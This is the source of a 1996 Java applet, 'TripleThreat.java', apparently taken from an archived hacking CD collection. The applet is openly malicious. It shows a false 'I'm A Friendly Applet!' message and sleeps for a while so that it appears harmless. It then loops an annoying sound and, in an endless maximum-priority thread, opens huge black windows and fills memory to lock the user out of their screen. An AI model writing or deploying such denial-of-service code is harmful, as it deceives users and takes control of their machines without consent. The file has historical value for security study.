home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / INTERNET / TRIPLE_1.ZIP / TRIPLE~1.JAV
Encoding:
Text File  |  1996-04-27  |  4.1 KB  |  142 lines

  1. /* TripleThreat.java by Mark D. LaDue */
  2.  
  3. /* February 17, 1996 */
  4.  
  5. /*  Copyright (c) 1996 Mark D. LaDue
  6.     You may study, use, modify, and distribute this example for any purpose.
  7.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  8.  
  9. /* This Java Applet is intended to spew forth huge non-functioning
  10.    black windows and obliterate the screen in order to exclude the
  11.    user from the console.  It also features a terribly annoying sound
  12.    that won't stop until you do something drastic. */
  13.  
  14. import java.awt.*;
  15. import java.applet.AudioClip;
  16.  
  17. public class TripleThreat extends java.applet.Applet implements Runnable {
  18.  
  19. //  Just a font to paint strings to the applet window 
  20.     Font wordFont = new Font("TimesRoman", Font.BOLD, 36);
  21.  
  22. //  This thread will attempt to spew forth huge windows and waste resources 
  23.     Thread wasteResources = null;
  24.  
  25. //  An offscreen Image where lots of action will take place
  26.     Image offscreenImage;
  27.  
  28. //  Graphics tools to handle the offscreen Image
  29.     Graphics offscreenGraphics;
  30.  
  31. //  To avoid arrays and have open-ended storage of results
  32.     StringBuffer holdBigNumbers = new StringBuffer(0);
  33.  
  34. //  An annoying sound coming through the open window
  35.     AudioClip annoy;
  36.  
  37. //  Used to read in a parameter that makes the thread sleep for a
  38. //  specified number of seconds
  39.     int delay;
  40.  
  41. //  A window that repeatedly tries to obscure everything 
  42.     Frame littleWindow;
  43.  
  44.  
  45. /*  Set up a big white rectangle in the browser, get the sound, and
  46.     create the offscreen graphics  */ 
  47.  
  48.     public void init() {
  49.     setBackground(Color.white);
  50.     offscreenImage = createImage(this.size().width, this.size().height);
  51.     offscreenGraphics = offscreenImage.getGraphics();
  52.  
  53.     annoy = getAudioClip(getCodeBase(), "Sounds/whistle.au");
  54.  
  55. //  Determine how many seconds the thread should sleep before kicking in
  56.     String str = getParameter("wait");
  57.     if (str == null)
  58.         delay = 0;
  59.     else delay = (1000)*(Integer.parseInt(str));
  60.     }
  61.  
  62.  
  63. /*  Create and start the offending thread in the standard way */
  64.  
  65.     public void start() {
  66.         if (wasteResources == null) {
  67.         wasteResources = new Thread(this);
  68.         wasteResources.setPriority(Thread.MAX_PRIORITY);
  69.         wasteResources.start();
  70.         }
  71.     }
  72.  
  73. /*  We certainly won't be stopping anything */
  74.  
  75.     public void stop() {}
  76.  
  77.  
  78. /* Start the annoying sound and repeatedly open windows
  79.    while doing lots of other wasteful operations */ 
  80.  
  81.     public void run() {
  82.  
  83. //  Let the applet tell its lie
  84.     repaint();
  85.  
  86. //  Let the applet appear honest by having its thread sleep for a while
  87.         try {Thread.sleep(delay);}
  88.         catch (InterruptedException e) {}
  89.  
  90. //  Start the senseless noise
  91.     annoy.loop();
  92.  
  93. //  Now fill the screen with huge windows, one atop another, and do
  94. //  a lots of wasteful stuff!
  95.  
  96.         while (true) {
  97.         try {
  98.         holdBigNumbers.append(0x7fffffffffffffffL);
  99.         littleWindow = new TripleFrame("ACK!"); // create a window
  100.         littleWindow.resize(1000000, 1000000);  // make it big!
  101.         littleWindow.move(-1000, -1000);  // cover everything
  102.         littleWindow.show();  //  now open the big window 
  103.         }
  104.         catch (OutOfMemoryError o) {}
  105.         repaint();
  106.         }
  107.     }
  108.  
  109.  
  110. /*  Paints the applet's lie */
  111.  
  112.     public void update(Graphics g) {
  113.         paint(g);
  114.     }
  115.  
  116.     public void paint(Graphics g) {
  117.     g.setColor(Color.blue);
  118.     g.setFont(wordFont);
  119.     g.drawString("I'm A Friendly Applet!", 10, 200);
  120.     offscreenGraphics.setColor(Color.white);
  121.     offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height);
  122.     offscreenGraphics.setColor(Color.blue);
  123.     offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50);
  124.     }
  125. }
  126.  
  127. /* Makes the big, opaque windows */
  128.  
  129. class TripleFrame extends Frame {
  130.     Label l;
  131.  
  132. //  Constructor method
  133.     TripleFrame(String title) {
  134.         super(title);
  135.         setLayout(new GridLayout(1, 1));
  136.         Canvas blackCanvas = new Canvas();
  137.         blackCanvas.setBackground(Color.black);
  138.         add(blackCanvas);
  139.     }
  140. }
  141.  
  142.